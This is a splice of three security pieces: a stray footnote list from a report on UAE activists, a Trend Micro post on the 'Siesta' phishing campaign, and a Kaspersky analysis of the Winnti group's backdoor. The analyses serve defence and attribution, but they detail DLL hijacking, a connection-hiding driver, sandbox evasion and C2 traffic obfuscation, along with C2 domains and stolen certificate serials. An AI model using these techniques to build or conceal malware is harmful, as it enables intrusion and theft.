http://www.al-monitor.com/pulse/originals/2014/07/uae-twitter-imprisoned-not-guilty-activist-cyber-crime.html 74 https://twitter.com/Dwight389/status/398413653315031041 75 http://www.thenational.ae/uae/courts/20150518/five-qataris-found-guilty-of-insulting-uae-royals 76 https://twitter.com/MiriamKhaled/status/156625204280434688 77 https://twitter.com/Bu_saeed2/status/156781983983349760 78 https://twitter.com/kh_oz/status/351828658371039233 79 https://twitter.com/Dwight389/status/332452681325088768 80 https://twitter.com/r7aluae2/status/156418043424157696 81 http://www.huffingtonpost.co.uk/rori-donaghy/uae-94-verdict_b_3549671.html 82 https://twitter.com/Bu_saeed2/status/156406670866653184 83 https://github.com/YOURLS/YOURLS/wiki/Spam 84 http://www.bbc.com/news/world-middle-east-20768205 85 https://www.passivetotal.org/ 86 sonar-ssl 87 https://wordsecure.com/ 88 https://github.com/quasar/QuasarRAT/blob/master/Client/Core/Recovery/Browsers/InternetExplorer.cs 89 See https://web.archive.org/web/20131207060523/https://velocityfiles.com/login.php and https://web.archive.org/web/20131207054158/https://velocityfiles.com/register.php 90 http://templates.entheosweb.com/template_number/live_demo.asp?TemplateID54257 91 http://aax.me/1a732 92 https://en.wikipedia.org/wiki/Emirates_Discussion_Forum 93 http://www.echr.org.uk/?p1104 94 https://twitter.com/Ahmed_Mansoor/status/256142870896054273 and https://twitter.com/Ahmed_Mansoor/status/256144504116109312 95 https://metrics.torproject.org/ 96 http://www.bbc.com/news/world-middle-east-20768205 97 e.g., local portscanning from webpages with JS-Recon, determining web browser versions by testing JavaScript functionality, Tor Browser profiling bug, macro infection.
98 e.g., Powershell remote shell.
99 https://citizenlab.org/2012/07/from-bahrain-with-love-finfishers-spy-kit-exposed/ 100 https://citizenlab.org/2015/12/packrat-report/ 101 https://citizenlab.org/2015/08/iran_two_factor_phishing/ 102 https://targetedthreats.net/ 103 http://www.latimes.com/nation/la-na-associated-press-lawsuit-20150827-story.html
The Siesta Campaign: A New Cybercrime Operation Awakens In the past few weeks, we have received several reports of targeted attacks that exploited various application vulnerabilities to infiltrate various organizations.
Similar to the Safe Campaign, the campaigns we noted went seemingly unnoticed and under the radar.
The attackers orchestrating the campaign we call the Siesta Campaign used multicomponent malware to target certain institutions that fall under the following industries: Consumer goods and services Energy Finance Healthcare Media and telecommunications Public administration Security and defense Transport and traffic Threat actors dont always rely on complex attack vectors to infiltrate an organizations network.
Attackers can also make use of basic social engineering techniques for their victims to take the bait, such as in our case study below.
The Siesta Campaign: A Case Study We are currently investigating an incident that involved attackers sending out spear-phishing emails addressed to executives of an undisclosed company.
These emails were sent from spoofed email addresses of personnel within the organization.
Instead of using attachments and document exploits, this specific campaign served their malware through a legitimate-looking file download link.
To lure the target into downloading the file, the attacker serves the archive under a URL path named after the target organizations name as cited below: http://malicious domain/organization name/legitimate archive name.zip This archive contains an executable (TROJ_SLOTH) disguised as a PDF document.
When executed, it drops and opens a valid PDF file, which was most probably taken from the target organizations website.
Along with this valid PDF file, another malicious component is also dropped and executed in the background.
This backdoor component is named googleBLOCKED.exe.
(
Due to the ongoing investigation, we are http://blog.trendmicro.com/trendlabs-security-intelligence/hiding-in-plain-sight-a-new-apt-campaign/ unfortunately unable to share hashes and filenames at this time.)
This backdoor connects to http://www.microBLOCKED.
com/index.html, which are its command-and-control (CC) servers.
Trend Micro identifies these samples as BKDR_SLOTH.B.
At this point, the malware begins waiting for additional commands from the attacker.
The encrypted commands that are accepted are: Sleep: Commands the backdoor to sleep for specified number of minutes We have received a sleep command of sleep:120 during our analysis which means that the malware will wait for 2hrs before establishing a connection again to the CC server Download: download_url Commands the backdoor to download and execute a file (most probably another Win32 executable) from a specified URL The CC servers used in this campaign are found to be newly registered and also short-lived, making it difficult for us to track the malwares behavior.
Based on our research, we found 2 variants of the malware used in this campaign.
Although not exactly alike, the behaviors are nearly identical.
One of the similar samples is a file named Questionaire Concerning the Spread of Superbugs February 2014.exe (SHA1: 014542eafb792b98196954373b3fd13e60cb94fe).
This sample drops the file UIODsevr.exe, its backdoor component which behaves similarly as BKDR_SLOTH.B with the addition of communicating to its CC at skysBLOCKEDcom.
These samples are identified by Trend Micro as BKDR_SLOTH.A.
Both variants excessively use Sleep calls, which renders the malware dormant for varying periods of time, hence the campaign name Siesta (which means to take a short nap in Spanish).
Commands are being served through HTML pages using different keywords as listed below: Variant 1 prefix: SC Variant 2 prefix: longDesc suffix: .txt Listed below are the backdoor commands we were able to see from our analysis: http://about-threats.trendmicro.com/us/malware/BKDR_SLOTH.A Variant 1 run1  open a remote shell run2  pipe shell commands from URL1 run3  pipe shell commands from URL2 http  pipe shell commands from C2 x_  sleep for specified number of minutes Variant 2 sleep:  sleep for specified number of minutes download:  download and execute another executable from C2 Attribution Attribution of campaigns and attack methods can often be difficult.
We were able to identify this new campaign through inspecting hashes, CCs, registrants, commands, and additional information.
Figure 1.
Attribution Graph (click the thumbnail for full view) During the course of our investigation into this new campaign, we investigated the malware dropped.
We quickly noticed the registrant of skyBLOCKED.com is also the same registrant as http://blog.trendmicro.com/trendlabs-security-intelligence/files/2014/03/siesta_attribution2.png microBLOCKED.com and ifuedBLOCKED.net.
This individual used the name Li Ning and others with an email address of xiaomaoBLOCKED163.com.
This individual also recently registered 79 additional domains.
There are a total of roughly 17,000 domains registered with this same email address.
Figure 2.
Domains registered under the name Li Ning, based on Whois data Conclusion Early detection is crucial in preventing targeted attacks from exfiltrating confidential company data.
Organizations and large enterprises need an advanced threat protection platform like Trend Micro Deep Discovery, which can mitigate the risks posed by targeted attacks through its various security technologies and global threat intelligence.
At the heart of our Custom Defense solution is Deep Discovery which provides real-time local and global intelligence across the attack life cycle.
This can help IT administrators understand the nature of the attack they are dealing with.
Trend Micro blocks all related threats, emails and URLs associated with these attacks.
As always, we advise users to exercise caution when opening emails and links.
With additional insights and analysis from Kervin Alintanahin, Dove Chiu, and Kyle Wilhoit.
Winnti  More than just a game Winnti More than just a game April 2013 Kaspersky Lab Global Research and Analysis Team Contents Executive Summary ............................................................................................... 2 Winnti 1.0 Technical Analysis ............................................................................... 10 Real Case Investigation (Winnti 2.0) .................................................................... 26 Source of Attacks ................................................................................................. 51 The Search for Attackers  (XYZ incident) .............................................................. 53 Conclusions .......................................................................................................... 80 Appendix .............................................................................................................. 81 Winnti  More than just a game Executive Summary This research, which started  in autumn of 2011 by Kaspersky Lab, is still ongoing.
The subject of this research project is a series of targeted attacks against private companies around the world.
In the research, we reveal activity of one of the hacking groups which has Chinese origins.
This group was named Winnti.
According to our estimates, the Winnti group has been active for several years and specializes in cyber-attacks against the online video game industry.
The main objective of the group is to steal source code of online game projects as well as digital certificates of legitimate software vendors.
Besides that, they are deeply interested in the set-up of network infrastructure (including production gaming servers) and new developments such as conceptual ideas, design and more.
We arent the first to investigate the attacks attributed to the Winnti group..
It is known that, at least in 2010, the U.S.- based company HBGary investigated information security incidents related to the Winnti group at one of HBGarys customers   an American video game production company.
In the beginning In the autumn of 2011, a Trojan was detected on a large number of computers  all of them linked by the fact that they were used by players of a popular online game.
It emerged that the piece of malware landed on users computers as part of a regular update from the games official update server.
Some even suspected that the publisher itself was spying on its customers.
However, it later became clear that the malicious program ended up on the users computers by mistake: the cybercriminals were in fact targeting the companies that develop and release computer games.
The computer game publisher whose servers spread the Trojan asked Kaspersky Lab to analyze the malicious program that was found on its update server.
It turned out to be a DLL library compiled for a 64-bit Windows environment and even used a properly signed malicious driver.
The malicious DLL infected gamers computers running under either 32-bit or 64-bit operating systems.
It could not start in 32-bit environments, but it could, under certain conditions, launch without the users knowledge or consent in 64-bit environments, though no such accidental launches have been detected.
The DLL contained a backdoor payload, or, to be exact, the functionality of a fully-fledged Remote Administration Tool (RAT), which gave the cyber-criminals the ability to control the victim computer without the users knowledge.
The malicious module turned out to be the first Trojan  for the 64-bit version of Microsoft Windows with valid digital signature that we have seen.
We used to see similar cases before, but in all previous incidents we have seen digital signature abuse, there were only 32-bit applications.
At an early stage of our research, we identified a number of similar backdoors, both 32-bit and 64-bit, in our collection of malware samples.
Thesewere detected under various verdicts.
We grouped them together into a separate family.
Symantec appears to be the first to name these malicious programs we kept Symantecs name Winnti  More than just a game Winnti  in the name of the malware family we created: Backdoor.
Win32(Win64).Winnti.
As for the people behind these attacks involving this remote administration tool, we ended up calling them the Winnti group.
Interestingly, the digital signature belonged to another video game vendor - a private company known as KOG, based in South Korea.
The main business of this company was MMRPG (massively multi player online role-playing games) games, which was identical to the business area of the first victim.
We contacted KOG, whose certificate was used to sign malicious software and notified Verisign, which issued the certificate for KOG.
As a result, the certificate was revoked.
Digital Certificates When we discovered the first stolen digital certificate, we didnt realize that stealing the certificates and signing malware for   upcoming attacks against other victims was the modus operandi of that group.
In eighteen months, we manage to discover more than a dozen   compromised digital certificates.
Moreover, we found that those digital certificates seemed to have been used in attacks organized by other hacking groups, presumably coming from China.
For example, an attack against South Korean social networks Cyworld and Nate in 2011 (http://www.bbc.co.uk/news/technology-14323787) - the attackers used a Trojan that was digitally signed using the certificate of YNK Japan Inc gaming company.)
A digital certificate of the same company was used recently (March 2013) in Trojans targeting Tibetan and Uyghur activists (https://www.securelist.com/en/blog/208194165/New_Uyghur_and_Tibetan_Themed_Attacks_Using_PDF_Exploi ts).
In fact, this story has long roots dating back to 2011.
We highly recommend reading this Norman blog post of a similar incident here: http://blogs.norman.com/2011/security-research/invisible-ynk-a-code-signing-conundrum.
http://www.bbc.co.uk/news/technology-14323787 https://www.securelist.com/en/blog/208194165/New_Uyghur_and_Tibetan_Themed_Attacks_Using_PDF_Exploits https://www.securelist.com/en/blog/208194165/New_Uyghur_and_Tibetan_Themed_Attacks_Using_PDF_Exploits http://blogs.norman.com/2011/security-research/invisible-ynk-a-code-signing-conundrum Winnti  More than just a game At the same time, in March 2013, Uyghur activists were targeted by another malware which was digitally signed by another gaming company called MGAME Corp according to  http://www.f- secure.com/weblog/archives/00002524.html We believe that the source of all these stolen certificates is same group which we call Winnti.
This group either has close contacts with other Chinese hacker groups or sells the certificates on the black market in China.
Below is the list of known compromised companies and digital certificates used by the Winnti group in different campaigns: Company Serial number Country ESTsoft Corp 30 d3 fe 26 59 1d 8e ac 8c 30 66 7a c4 99 9b d7 South Korea Kog Co., Ltd. 66 e3 f0 b4 45 9f 15 ac 7f 2a 2b 44 99 0d d7 09 South Korea LivePlex Corp 1c aa 0d 0d ad f3 2a 24 04 a7 51 95 ae 47 82 0a South Korea/ Philippines MGAME Corp 4e eb 08 05 55 f1 ab f7 09 bb a9 ca e3 2f 13 cd South Korea Rosso Index KK 01 00 00 00 00 01 29 7d ba 69 dd Japan Sesisoft 61 3e 2f a1 4e 32 3c 69 ee 3e 72 0c 27 af e4 ce South Korea Wemade 61 00 39 d6 34 9e e5 31 e4 ca a3 a6 5d 10 0c 7d Japan/South Korea/US YNK Japan 67 24 34 0d db c7 25 2f 7f b7 14 b8 12 a5 c0 4d Japan Guangzhou YuanLuo 0b 72 79 06 8b eb 15 ff e8 06 0d 2c 56 15 3c 35 China Fantasy Technology Corp 75 82 f3 34 85 aa 26 4d e0 3b 2b df 74 e0 bf 32 China Neowiz 5c 2f 97 a3 1a bc 32 b0 8c ac 01 00 59 8f 32 f6 South Korea Victims Its tempting to assume that Advanced Persistent Threats (APTs) primarily target high-level institutions: government agencies, ministries, military and political organizations, power stations, chemical plants, critical infrastructure networks, and so on.
In this context, it seems unlikely that a commercial company would be at risk unless it was operating on the scale of Google, Adobe or The New York Times, which was recently targeted by a cyber-attack, and this perception is reinforced by the publicity that attacks on corporations and government organizations usually receive.
However, any company with data that can be effectively monetized is at risk from APTs.
This is exactly what we encountered here: it was not a governmental, political, military, or industrial organization.
The target was specifically  gaming companies.
Analyzing the Winnti samples helped to identify who and what were the targets.
We found that we were dealing with targeted attacks: the Winnti team infects companies that develop and release computer games.
It appears the team has been active for quite a while  since 2009.
http://www.f-secure.com/weblog/archives/00002524.html http://www.f-secure.com/weblog/archives/00002524.html https://en.wikipedia.org/wiki/Advanced_Persistent_Threat Winnti  More than just a game Its difficult to name all the victims of the Winnti team.
Judging by the information that we have at our disposal namely the tags within malicious programs, the names of the CC domains, the companies whose digital certificates were stolen to sign malware, and the countries where detection notifications came from  we can say that at least 35 companies were infected by the Winnti malware at some time.
Countries where the affected companies are located: Asia Europe South America North America China India Indonesia Japan Philippines S. Korea Taiwan Thailand Vietnam Belarus Germany Russia Brazil Peru USA This data demonstrates that the Winnti team targets gaming companies located in various parts of the world, albeit with a strong focus on South East Asia.
Countries where gaming companies have been affected This geographic diversity is hardly surprising.
Often, gaming companies (both publishers and developers) are international, having representatives and offices worldwide.
Also, it is common practice for gaming companies from various regions to cooperate.
The developers of a game may be located in a different country from its publisher.
When a game eventually reaches markets in regions away from its initial home, it is often localized and released by other publishers.
In the course of this cooperation, the partner companies often grant each other access to network resources to exchange data associated with the gaming content, including distribution kits, Winnti  More than just a game gaming resources, resource assembly kits, etc.
If one company in the network gets infected, its easy for the cybercriminals to spread the infection throughout the partnership chain.
Winnti CC Structure During the investigation, we identified more than a hundred malicious programs, each individually compiled to attack a particular company.
Typically, separate command-and-control (CC) domains were assigned to each targeted company.
Virtually all the CC domains were arranged as follows: a second-level domain was created without a DNS A-record, i.e., there was no IP address assigned to it.
In cases where there was an A-record, the assigned IP address was typically 127.0.0.1.
It is also noteworthy that some of the second-level domains that the cybercriminals created for their CC had very similar names to the domain hosting the site of a certain real gaming company.
And the malicious users domain was resolved to the same IP address which the site of the real gaming company used.
In any case, the third-level domains resolved to IP addresses assigned to the attackers actual CC servers.
CC domain naming and resolution Sometimes the Winnti team registered their CC units with public hosts.
Judging by the samples identified, these CC centers were subdomains of such domains as 6600.org, 8866.org, 9966.org or ddns.net.
From the names of the CC domains or subdomains, the attack targets or countries of residence could be guessed, as in: ru.gcgame.info kr.zzsoft.info jp.xxoo.co us.nhntech.com fs.nhntech.com as.cjinternet.us The subdomains ru, kr, jp and us most probably mean that these CC servers manage bots hosted on the computers of companies located in Russia, South Korea, Japan and the U.S. respectively, while fs and as are acronyms for the names of the companies being attacked.
Winnti  More than just a game Sometimes Winntis malicious programs had a local IP address, such as 192.168.1.136, specified in the settings for the CC.
This could mean that, at some point in time, there was an infected computer that did not have a connection to the Internet, but the cybercriminals needed control over it (it may have been infected while malware was spread via a corporate network).
In this case, the cybercriminals deployed a dedicated local CC server on another compromised computer within the same local network which did have an Internet connection via that CC, the first victim computer could be controlled.
System administrators often try to isolate critical computers from the outside world.
This decreases the probability of haphazard infection, but, apparently, does not always help in a targeted attack.
In the Winnti samples that were detected and analyzed, we found 36 unique CC domains.
Most probably, this is only a small portion of all existing Winnti CC domains, as we only managed to obtain some of the samples from this malware family.
This is hardly surprising since these malicious programs are used to execute targeted attacks, so no information is available about many instances of infection for this reason, we have no way of obtaining samples of the malware used in these undisclosed attacks.
Domain names used in the attacks we discovered newpic.dyndns.tv update.ddns.net nd.jcrsoft.com cc.nexoncorp.us kr.zzsoft.info as.cjinternet.us ca.zzsoft.info sn.jcrsoft.com lp.apanku.com sshd.8866.org ftpd.6600.org tcpiah.googleclick.net rss.6600.org lp.zzsoft.info lp.gasoft.us eya.jcrsoft.com ftpd.9966.org kr.xxoo.co wi.gcgame.info tcp.nhntech.com ka.jcrsoft.com my.zzsoft.info jp.jcrsoft.com su.cjinternet.us vn.gcgame.info ap.nhntech.com ru.gcgame.info kr.jcrsoft.com wm.ibm-support.net fs.nhntech.com docs.nhnclass.com rh.jcrsoft.com wm.nhntech.com Winnti  More than just a game wm.myxxoo.com ka.zzsoft.info ad.jcrsoft.com my.gasoft.us Knowing the 2nd level domains used by Winnti, we brute forced through all third level sub-domains up to 4 symbols long, and identified those that have the IP addresses of real servers assigned to them.
Having searched through subdomains for a total of 12 second level domains, we identified 227 live third level domains.
Many of them are CC servers for Winnti-class malware that have hitherto remained unidentified.
Analyzing the WHOIS data for the 12 second level domains, we found the following list of email addresses used for registration: evilsexgmail.com jslee.jcrgmail.com whoismydnsgmail.com googl3live.com wzcccnkker.com apanku2009gmail.com For some of these domains, registration data proved to be the same as those for the domain google.com: Registrant:  Google Inc. 1600 Amphitheatre Parkway Mountain View, California 94043 United States 1.6503300100 Judging by the domain registration data, the Winnti team started their criminal activities as far back as 2007.
The early domains were involved in spreading rogue anti-virus programs (FakeAV).
From 2009 onwards, domains began to emerge hosting CC servers for bots used to infect gaming companies.
Apparently, the cybercriminals graduated to relatively large-scale penetrations into the corporate networks of gaming companies starting from 2010.
Known Malware The favorite tool of the attackers is a malicious program we call Winnti.
It has evolved since the first use, but we divide all variants into two generations: 1.x and 2.x.
Our publication describes both variants of this tool.
The second generation (2.x) was used in one of the attacks that we investigated in the active stage and helped the victim to interrupt data transfer and isolate infections in a corporate network.
In addition to that, we  observed usage of a popular backdoor known as PlugX, which is believed to have Chinese origins, however used only previously in attacks against Tibetan activists.
Winnti  More than just a game The Commercial Interest As has been stated above, APTs can target any commercial company if cyber-criminals find a way to financially profit from the attack.
So what methods do cyber-criminals use to generate illicit earnings from attacks on gaming companies?
Based on the available information, we have singled out three main monetization schemes that could be used by the Winnti team.
The unfair accumulation of in-game currency/gold in online games and the conversion of virtual funds into real money.
Theft of source code from the online games server to search for vulnerabilities in games  often linked to point 1.
Theft of source code from the server part of popular online games to further deploy pirate servers.
Lets look at an example.
During our investigation of an infection at a computer gaming company, we found that malware had been created for a particular service on the companys server.
The malicious program was looking for a specific process running on the server, injected code into it, and then sought out two places in the process code where it could conceal call commands for its function interceptors.
Using these function interceptors, the malicious programs modified process data which was processed in those two places, and returned control back.
Thus, the attackers change the normal execution of the server processes.
Unfortunately, the company was not able to share its targeted application with us, and we cannot say exactly how this malicious interference affected gaming processes.
The company concerned told us that the attackers aim was to acquire gaming gold illegally.
Malicious activity like this has an adverse impact on the game itself, tilting the balance in favor of cheats.
But any changes the Winnti team introduces into the game experience are unlikely to be very noticeable.
After all, maintaining a skillful balance is the main attribute of online games.
Users will simply stop playing if they feel that other players are using non-standard methods to create an advantage beyond normal gameplay or if the game loses its intrinsic competitiveness due to resources or artifacts appearing in the game without the developers knowledge.
At the same time, the attackers are keen for the game to remain popular otherwise, they would be unable to effectively turn all the time and effort of infecting a gaming company into financial gain.
Members of the Winnti team are patient and cautious.
Cyber-criminals have affected the processes of the online games from the infected companies and stolen money from them for years, but they have found ways of doing this without attracting attention to themselves.
Winnti  More than just a game Winnti 1.0 Technical Analysis The Initial DLL Everything starts with a DLL.
The DLL mimics one of the standard Windows libraries, winmm.dll or apphelp.dll.
Since, in the vast majority of cases the samples that we detected disguised themselves as winmm.dll, we would like to fix this name for this malicious library at the end of this document.
Legitimate winmm.dll is a Windows system library that provides multimedia functions.
It is located in the WINDIR\System32 folder.
The attackers counted on this being a library providing basic system functions and hence the probability of it being loaded by some program is very high (this is also valid for apphelp.dll).
For example, winmm.dll is loaded by explorer.exe, which is launched during operating system startup and is essential for Windows user interface.
The mechanism to start the malware is simple: if some benign application depends on Windows winmm.dll (located in WINDIR\System32\winmm.dll) but the evil twin library with the same name (winmm.dll) is located in the folder of benign application, the malicious library will be loaded instead of the system one.
Taking advantage of their control of an infected computer, the attackers place a malicious library in the WINDIR folder.
The same folder also contains explorer.exe.
This enables the attackers to ensure that the malicious DLL is loaded at system startup: explorer.exe loads the malicious winmm.dll from the WINDIR folder as soon as it launches during system startup.
But how can a program which depends on the original library work correctly if a malicious winmm.dll is loaded instead of the original library?
Very easy: the malicious library is designed to work as a proxy for the original winmm.dll from the WINDIR\System32 folder.
The cyber-criminals did not reinvent the wheel to make sure that everything works properly.
They relied on a tool known as AheadLib, which was developed by security researchers to analyze malware.
Winnti  More than just a game This program, which is designed to facilitate the analysis of malicious libraries, was created by a Chinese developer employed by an Asian anti-virus vendor.
The program accepts a DLL on input and produces a C code which hooks the functions included in the library.
The C code is compiled back into a DLL, which can then be used as a proxy and provide flexible way to analyze behavior of malicious file.
Winnti  More than just a game Hook functions (code generated by the legitimate program AheadLib) The flexibility of this tool allows to customize the logics of malicious application during analysis and overload functions code to provide some debugging output.
Some code can be added to display parameters of the hooked functions in order to find out which values are passed to the original functions when they are called.
This method is used in so called dynamic analysis of malicious applications.
Winnti  More than just a game Determining the addresses of the real functions (error message in the frame: Function hs cannot be found, the program will not operate correctly) Winnti  More than just a game Modified module loading the original DLL (error message in the frame: s cannot be loaded, the program will not operate correctly) Ironically, the malware authors have found this to be a convenient application for creating malicious proxy- libraries.
They specified a system library (winmm.dll) as a parameter for AheadsLib tool and produced a source code template to create a proxy DLL  in the form of C file.
By overloading some functions with the malicious payload, the attackers created a complete piece of malware that included all the features of the system DLL.
Strangely, the attackers kept the code for AheadLib debug messages in the early versions of their malware (marked with red in the screenshots above).
These strings can also be found in compiled malicious binaries: The function hs cannot be found, the program will not operate correctly Winnti  More than just a game s cannot be loaded, the program will not operate correctly Later, these fragments were removed from the C file generated by AheadLib.
Control DLL The winmm.dll malicious library maintains another library in its body, which is decrypted and loaded into the process memory without creating any files on local disk.
According to file version info the original name of this library is PlusDLL.dll.
This is the platforms main control component.
When the additional DLL has been properly allocated in the memory, winmm.dll passes control to it with a parameter  a string which contains bot settings.
The settings string, in encrypted form, is also located in the winmm.dll body  after the magic word PLUSUNIT.
Encrypted bot settings After decryption, the string contains the following: urllp.gasoft.us:80ver1018tag33grouplp80wi Apparently, when the Winnti malware managed to get into focus of security researchers: the authors made modifications of the methods used to store these initial settings.
In some samples, the settings were hidden even in the executable files header: Winnti  More than just a game Encrypted settings in the header of malicious executable In other variants, the PLUSUNIT magic string was modified: UUUSUN instead of PLUSUNIT The PlusDLL library has an embedded driver.
The driver is stored in WINDIR\System32\drivername.sys file, registered as a service and started by NtLoadDriver system API function.
Immediately after that, the drivers file is removed, as well as all the registry entries created during service registration.
The executable preserved the original driver names which are PortLess and PointFilter however, the driver files used during infection are saved   as sp1itter.sys and acplec.sys.
The purpose of the driver is to hide network connections established by the malware.
For example, if the user decides to check a list of established connections (e.g., using the netstat a command or the tcpview program) while the bot is communicating to the control center, the driver will protect and hide the malware connections.
This approach is used by many rootkits on the Windows platform.
The driver uses an interesting method to get the list of addresses to protect connections with.
This information is available in the PlusDLL control library, which normally operates in the context of the explorer.exe process when the infection is active on the computer.
The address information is sent from the user space (from PlusDLL) to the kernel space, where the driver works, via call to NtSetQuotaInformationFile API function.
Winnti  More than just a game During initialization, the driver hooks the NtSetQuotaInformationFile function: Hook on NtSetQuotaInformationFile function Every time the function is called, the driver checks its parameters: to be precise it is HANDLE FileHandle and PVOID Buffer parameters.
The FileHandle parameter holds a descriptor of the partition on the hard drive where the function is expected to set disk quotas.
The Buffer parameter is a memory buffer with information of new quotas to be set.
The driver checks whether the value of the FileHandle parameter is equal to minus two.
When the system calls the NtSetQuotaInformationFile function to actually change the quotas, the descriptor must be associated with one of the disks.
Normally such descriptors in the Windows system are positive integers which obviously means that it cannot be equal to minus two.
The negative value is set by the PlusDLL library in order to make the driver detect that the NtSetQuotaInformationFile function was called by that library.
When calling NtSetQuotaInformationFile, PlusDLL sends information about the network addresses to be protected by the driver via the Buffer parameter.
If FileHandle is not equal to minus two, the hook function in the driver passes control to systems original code of NtSetQuoataInformationFile API function and everyhin works as it should be on an uninfected system.
Winnti  More than just a game Sending data from the PlusDLL.dll library to the sp1itter.sys driver Note that 64-bit versions of Windows do not allow unsigned drivers to run.
The malicious drivers 64-bit versions were signed using stolen certificates.
During the time that we have been tracking the Winnti group, we found 11 certificates that were used to sign the malware used by the group (not necessarily drivers only).
Ten of them belong to various companies in the gaming industry.
Launching the main function As mentioned above, the PlusDLL library is a control module.
Lets look at how the cybercriminals implemented the transition to perform the malicious DLLs main tasks.
They could have simply called an appropriate function directly or created a separate thread in which to execute it, but for some reason they resorted to a trick: the code of the SetWindowStationUser function in the user32.dll library was modified.
After modification, the functions first command became jmp addr, where addr is the address of the function in the PlusDLL library which implements the malicious librarys main features.
Winnti  More than just a game Hook on SetWindowStationUser Immediately after this modification, a thread is created (CreateThread) executing code starting from the SetWindowStationUser function address.
As a result, when control is eventually passed to this function, the inserted command jmp addr returns control back to the PlusDLL code.
Winnti  More than just a game Malicious DLL launching its own code by creating a thread that supposedly calls SetWindowStationUser The same method is used to execute two more functions in the PlusDLL library.
One of them is used to initialize network routines the other executes procedures terminating the malicious program at the very end.
The only difference is that instead of SetWindowStationUser, the code of two other functions from user32.dll is modified EndTask and WinHelpW, respectively.
It is likely that this was done in order to hide the real addresses of functions in PlusDLL in case its code was analyzed based on its execution logs using an automatic system (sandbox) that looks at all function calls.
If this trick is used, an execution log would only show threads launched from the addresses of the functions SetWindowStationUser, EndTask and WinHelpW, which could potentially confuse researchers.
Another possibility is that this is an anti-emulation feature.
Perhaps the emulators built into some anti-virus products are unable to cope with these leaps  in this case, emulation will not result in the execution of malicious functions, which also suits the cybercriminals purposes.
Target Functionality So what does PlusDLL control?
It turns out that the target functionality is implemented in different files.
Each file provides a specific remote control feature and is downloaded from the attackers server every time the system starts up.
These files are not saved on disk or in the registry but are loaded directly into the memory.
At the very start of the operation, after launching the driver, PlusDLL collects information about the infected system.
A unique identifier for the infected computer is generated based on information about the hard drive and the network adapters MAC address, e.g., TKVFP-XZTTL-KXFWH-RBJLF-FXWJR.
The attackers are interested primarily in the computers name, the program which loaded the malicious library, as well as information about Winnti  More than just a game remote desktop sessions (session name, client name, user name and session time).
All of this data is collected in a buffer, which is then compressed and sent to the attackers control center.
The buffer may look like this: The bot sends information about an infected system to the control center In reply to this initial message from the bot, the control center sends the list of available plugins.
Plugins are DLL libraries that provide specific remote control functions.
Upon receiving the list of plugins, the bot downloads them, allocates them in the memory and passes control to these libraries.
Different C2 servers could push different plugins.
In total we have discovered eight functional libraries: Plugin Name Plugin Purpose CmdPlus Provide access to the system command line.
ListFileManager Provide access to the file system: list directory contents, manipulate files.
ListProc List or kill running processes.
ListService List system services.
PortMap Redirect traffic using port forwarding.
RemoteDesktop Enable Remote Desktop service on the infected machine.
Socks5Client Library for transferring data over the network using a SOCKS5 proxy server.
TransPlus Enables the attacker to transfer files: receive files from the infected machine, download/create/save files, as well as execute programs on the infected computer.
These plugins form the core toolkit which is used by the perpetrators during attack.
Winnti  More than just a game Operation of the malicious platform Operation flowchart at the initial stage As you can see, the cybercriminals use an entire inventory of malicious tools to effectively control the remote computer.
Moreover, they have taken measures to conceal their activities: the plugins do not explicitly appear anywhere except in the computers memory they do not get saved to the hard drive the driver is deleted immediately after launch all traces in the registry that could indicate this launch get deleted.
Only the initial DLL remains on the disk that kick starts the entire process and contains an encrypted version of PlusDLL which is the control DLL.
One of the weak points in this architecture is that the driver does get saved to the hard drive before it launches, so anti-virus products can detect the emergence of this file.
The situation is further exacerbated by the fact that the malicious drivers may be signed (although not all drivers in the Winnti samples that we detected were in fact signed).
An unsigned driver in itself does not have the means to counter antivirus products and its code can be easily recognized as malicious, whereas signed drivers stand a better chance of remaining undetected by antivirus products: certain anti-virus products consider properly signed programs legitimate by default, so as to minimize the chances of false positive responses.
Winnti  More than just a game Kaspersky Labs products detect the malicious programs described above under the following verdicts: The initial DLLs winmm.dll and apphelp.dll, the PlusDll.dll control DLLs, and functional loadable modules (CmdPlus.dll etc.)
are detected as Backdoor.
Win32.Winnti or Backdoor.
Win64.Winnti.
The drivers sp1itter.sys and acplec.sys are detected as Rootkit.
Win32.Winnti or Rootkit.
Win64.Winnti.
Communication with the CC Server The data transmitted during the communication between the bot and the CC server, naturally, do not manifest themselves in any explicit form in online data traffic.
Since an active remote control practice can generate substantial traffic, cybercriminals compress communication data with the algorithm LZMA, though they do not include the appropriate header inherent to this algorithm.
The data is transmitted over the TCP protocol.
The samples that we analyzed established connections between CC servers and ports 53, 80 and 443.
This port selection is not surprising: they are associated with the protocols DNS, HTTP and HTTPS respectively.
All three are routinely used in everyday operations, so they are enabled under most firewall policies.
Besides, large amounts of data typically pass through these ports (with the possible exception of port 53), which makes it easier for the malicious traffic to remain inconspicuous.
Although the ports are associated with certain protocols, the actual content of the traffic generated by the malicious program does not correspond to them.
Early versions of the Winnti platform exhibited the following traffic structure when communicating with CC: each block of transmitted data started with the magic number 0xdeadface, followed by the number of blocks (in a DWORD), then the hash of the transmitted block (8 bytes), the size of compressed data (DWORD), the size of source data (DWORD) and, finally, the actual compressed data.
The unit structure of a data block transmitted online in early versions of Winnti This is where another weak point of the Winnti family of backdoors becomes apparent.
With this data structure, malicious network traffic could easily be spotted by, for example, the magic number 0xdeadface.
The cybercriminals probably lost control over victim computers fairly frequently as corporate system administrators identified the intrusion by the unique headers in data packets with the help of IDS/IPS systems, and cleaned their networks.
In 2011, new versions of Winnti backdoors appeared that, while still based on the same platform, started to use an updated protocol which included extra encryption to communicate with CC, so the transmitted Winnti  More than just a game data no longer had static marks in them.
Prior to encryption, the data has the following structure (very similar to the earlier format): the first 4 bytes are taken by the magic number 0xaced1984, then a DWORD of data packet description, the next DWORD carries a zero value, 8 bytes of the hash of the transmitted block, then a DWORD with the size of the compressed data, a DWORD with the size of the source data and then the actual compressed data: The unit structure of a data block transmitted online in newer versions of Winnti Then the data is encrypted with regular XOR with a random DWORD size value, and in this form transmitted to the CC.
Knowing that the first four bytes in the source data must represent the value 0xaced1984, it is easy to restore the key for the XOR operation when the data were encrypted.
This is how the above data (the XOR value was 0x002a7b2e) looked when it was intercepted in network traffic: Encrypted data block transmitted online, in the newer versions of Winnti Since the encryption key (the value with which the source data are encrypted with the XOR operation) is different each time a fragment of data is transmitted, no more static unique labels can be found in the network traffic which would quickly identify the transmitted data as belonging to the Winnti backdoor.
Employing this fast, basic method, the cybercriminals have made it much harder to expose their programs traffic.
